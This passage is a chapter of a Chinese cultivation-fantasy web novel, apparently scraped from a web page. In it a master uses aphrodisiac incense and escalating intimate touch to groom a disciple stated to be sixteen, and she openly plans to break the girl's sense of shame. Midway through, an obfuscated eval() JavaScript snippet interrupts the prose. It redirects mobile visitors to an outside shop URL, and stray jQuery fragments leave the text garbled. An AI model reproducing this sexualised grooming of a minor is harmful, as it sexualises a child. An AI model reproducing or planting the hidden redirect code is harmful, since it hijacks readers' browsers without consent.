次日清晨,天色未明,苏怜幽便派人将云绾柔叫到了密室。
密室的布置和昨日不同了。催情香的浓度比之前高了一倍,甜腻的气息像一张无形的网,将整个空间笼罩其中。鲛油灯的光线调得更暗了,昏黄而柔软,像蒙了一层薄薄的纱,将所有物体的轮廓都变得模糊而暧昧。蒲团被换成了两张,一前一后,相距不到三尺。前面的那张是给云绾柔的,后面的那张是给苏怜幽的——她要在身后“指导”她。
云绾柔盘坐在前面的蒲团上,穿着一件新换的白色弟子服,面料比之前那件轻薄了许多,薄到能隐隐看到里面的肌肤。这是苏怜幽特意为她准备的——“修炼媚术,不能穿得太厚重,否则灵气无法顺畅流通。”
面前的小几上摆着那枚玉简,玉简通体碧绿,在昏黄的灯光下泛着幽幽的光。云绾柔将神识探入其中,按照上面的口诀运转灵气。灵气从丹田升起,沿着经脉缓缓游走,每过一个穴位就壮大一分,每壮大一分就温热一分。可她的身体太僵硬了——不是经脉的僵硬,而是心神的僵硬。她紧张,害怕,不知所措,这些情绪像一层厚厚的壳,将她的灵气包裹其中,无法释放。
“不对。”苏怜幽的声音从身后传来,很轻,很近,近到像贴着她的耳廓在说话,“你太僵硬了。”
云绾柔的身体微微颤了一下。她听到身后传来衣料摩擦的窸窣声,然后是师尊起身的动静。苏怜幽走到她身后,蹲下身,双手从背后环住她,握住她的手腕。师尊的手很凉,像冷玉,触碰到她手腕的瞬间,她感觉自己的心跳漏了一拍。
“媚术的核心不是动作,是气息。”苏怜幽的声音贴着她的耳廓,温热的呼吸打在她的耳垂上,像羽毛拂过,“你要让你的灵气带上你的气息,然后扩散出去,感染身边的每一个人。”
云绾柔的耳垂是最敏感的地方。小时候母亲还在世时,最喜欢捏着她的耳垂说“绾柔的耳垂长得真好看,像小元宝”。那时候她不懂什么叫敏感,只知道母亲捏她耳垂的时候,她会缩脖子、会笑、会往母亲怀里钻。可现在捏她耳垂的不是母亲,是师尊。那种感觉不一样了——不是温暖,不是安心,而是一种说不清道不明的、让她浑身发软的酥麻。
她的身体像触电一样颤了一下,不自觉地缩了缩脖子,想要躲开那股让她心神不宁的气息。
苏怜幽没有给她躲开的机会。她的手臂收紧了一些,将云绾柔的身体固定住,肩膀抵着她的肩膀,胸口贴着她的后背,不留一丝缝隙。
“别躲。”苏怜幽的声音带着一丝笑意,“你要学会习惯被触碰,因为以后会有无数人触碰你。”
这句话像一把钥匙,打开了云绾柔心中某扇紧闭的门。以后会有无数人触碰你。她不知道“无数人”是多少,不知道那些人是谁,不知道他们会在什么时候、以什么方式触碰她。她只知道,从今天起,她的身体不再属于她自己了。
云绾柔咬着嘴唇,努力让自己保持镇定。嘴唇被咬得发白,留下一排浅浅的牙印,像月牙,像伤痕。她的手指攥紧衣角,指节泛白,衣角被她揉得皱巴巴的,像一团被丢弃的纸。
苏怜幽的手从她的手腕慢慢滑到手臂,指腹在她的皮肤上缓缓移动,像一条蛇在草丛中蜿蜒。每滑过一寸,云绾柔的身体就颤抖一下,每颤抖一下,苏怜幽的嘴角就上扬一分。
“你的皮肤很好。”苏怜幽的手指在她手臂内侧停留了片刻,感受着那细腻的触感,“像丝绸,像羊脂玉,像剥了壳的鸡蛋。这种皮肤,天生就该被人抚摸。”
她的手指顺着手臂滑到肩膀,在肩头画了一个圈,然后落在后颈。后颈是另一个敏感的地方,云绾柔自己都不知道。苏怜幽知道。她活了几百年,见过无数女人的身体,知道每一寸肌肤的秘密,知道哪里最敏感,哪里最柔软,哪里最脆弱。
她的手指在云绾柔的后颈轻轻摩挲,画着圈,从左到右,从右到左。指腹触碰到后颈凹陷处时,云绾柔的身体猛地弓了起来,像一张被拉满的弓。一股说不清的感觉从那个接触点蔓延开来,像电流,像蚁噬,酥酥麻麻的,从后颈传到头顶,从头顶传到四肢百骸。
“嗯……”她忍不住发出一声轻哼,随即咬住嘴唇,将那声音咽了回去。
苏怜幽听到了。她的嘴角弯得更深了。
“你的身体很敏感。”她的声音带着一丝满意,“这是好事。敏感的身体才能更好地感受灵气的流动,才能更好地释放媚骨之力。那些身体麻木的人,修一辈子媚术也修不出什么名堂。你不一样。你天生就是修媚术的料。”
她的手从后颈滑到锁骨。锁骨是人体最性感的部位之一,薄薄的皮肤下是纤细的骨头,像蝶翼,像弯月。苏怜幽的指尖在锁骨凹陷处停留了片刻,感受着那微微的起伏和跳动。云绾柔的心跳透过皮肤传到她的指尖,快而乱,像被惊扰的鸟群。
她想要继续向下。指尖触碰到衣领的边缘,只要再往下一点点,就能触碰到那片柔软的、从未被外人触碰过的肌肤。
云绾柔猛地抓住了她的手。
“师尊……”她的声音带着一丝惊慌,像被逼到绝境的小兽,发出了最后的哀鸣。
苏怜幽的手顿住了。
“怎么了?”她的声音依旧温柔,温柔得像三月的春风,像母亲的低语。可如果仔细看她的眼睛,会发现眼底深处有一丝不悦——不是愤怒,而是猎物企图逃脱时,猎人的不悦。
“我……我不习惯……”云绾柔的脸涨得通红,像熟透的苹果,像天边的晚霞。她的呼吸变得急促,胸口剧烈起伏,衣领随着呼吸一张一合,露出更多白皙的肌肤。她的眼中含着泪水,不是悲伤,是羞耻。她不知道自己为什么要羞耻。师尊是在教她修炼,是在帮她变强,是在为她好。可她就是觉得羞耻。那种羞耻像一根刺,扎在她心里,拔不出来。
苏怜幽看着她,沉默了片刻。那沉默像一把悬在头顶的刀,随时都可能落下来。
“所以才要练习。”她松开手,抽回手,站起身,居高临下地看着云绾柔。她的身影在昏黄的灯光下被拉得很长,投在墙上,像一个巨人。
“绾柔,你以为媚术是什么?是那些花里胡哨的动作和表情吗?是那些搔首弄姿、挤眉弄眼的下作手段吗?不是。”她的声音变得严肃,带着一种不容置疑的威严,“媚术是让你整个人都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639261|206662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
散发出诱惑的气息,让你的一举一动、一呼一吸都能让人心动。它不是表演,不是伪装,不是欺骗。它是你身体的本能,是你与生俱来的天赋。你要做的不是‘学会’它,而是‘释放’它。”
她在云绾柔面前蹲下,直视她的眼睛。两人的脸相距不到一尺,近到能看清彼此眼中的倒影。
“而要达到这种境界,你首先要学会的就是——不再抗拒被触碰。”她伸出手,轻轻抚上云绾柔的脸,指腹在她颧骨处轻轻摩挲,“你的身体不是你的敌人,是你最强的武器。你不能怕它,不能躲它,不能厌恶它。你要接受它,拥抱它,爱上它。”
云绾柔看着师尊的眼睛,那双眼中满是真诚和坚定。她看不出任何虚假,看不出任何算计,看不出任何恶意。师尊是真的在为她好,是真的在教她变强。可她心里那个声音又在说——不对,不是这样的。变强不应该靠出卖身体,不应该靠取悦男人,不应该靠放弃尊严。可那个声音太小了,太小太小了,小到几乎听不见。
她低下头,沉默了很久。久到苏怜幽以为她睡着了。
“我……我试试。”她的声音很轻很轻,轻到像一片羽毛落在雪地上。
苏怜幽满意地笑了。
“好孩子。”她站起身,“今天就到这里。你回去好好想想,明天我们继续。”
她转过身,走到窗前,背对着云绾柔。窗外,桃花瓣随风飘落,像一场粉色的雪。她看着那些花瓣,嘴角的笑容渐渐变得冰冷。
云绾柔站起身,行了一礼,转身离开。走到门口时,她回头看了一眼。师尊站在窗前,逆光的身影在晨光中显得格外高大,像一尊不可撼动的雕塑。
她收回目光,推门而出。晨光刺眼,她眯了眯眼睛,深吸一口气。空气中有花香,有露水的味道,还有一丝从密室中带出来的、甜腻的催情香。她的脑海中一片混乱,什么都不想想,什么都不愿想,只想回到自己的房间,躺在床上,闭上眼睛,假装今天的一切都没有发生过。
可她知道自己骗不了自己。
温水煮蛙。水已经开始热了,蛙还在水中,浑然不觉。
她想起了一句诗——“商女不知亡国恨,隔江犹唱后庭花。”
她是商女,可她不是不知道亡国恨。她是不敢知道。
身后,密室的的门缓缓关上,发出沉闷的声响,像一声叹息。苏怜幽站在窗前,看着窗外渐渐升起的太阳,嘴角挂着一抹意味深长的笑。
十六岁。正是最好塑造的年纪。
她要一点点打碎这个少女的羞耻心,让她彻底接受自己的“使命”。不急。她有足够的时间。
窗外的桃花还在飘落,像一场没有尽头的雪。苏怜幽伸出手,接住一片花瓣。花瓣粉白,薄如蝉翼,在她掌心微微颤动,像一只受伤的蝴蝶。她看着那片花瓣,嘴角的笑容越来越深。
“绾柔。”她轻声说,“你是我见过最美的花。可花再美,终究是要谢的。”
她握紧拳头,花瓣在她掌心被碾碎,化作一小撮粉末,从指缝间飘落。
与其让你谢在土里,不如让你谢在我手里。至少,物尽其用。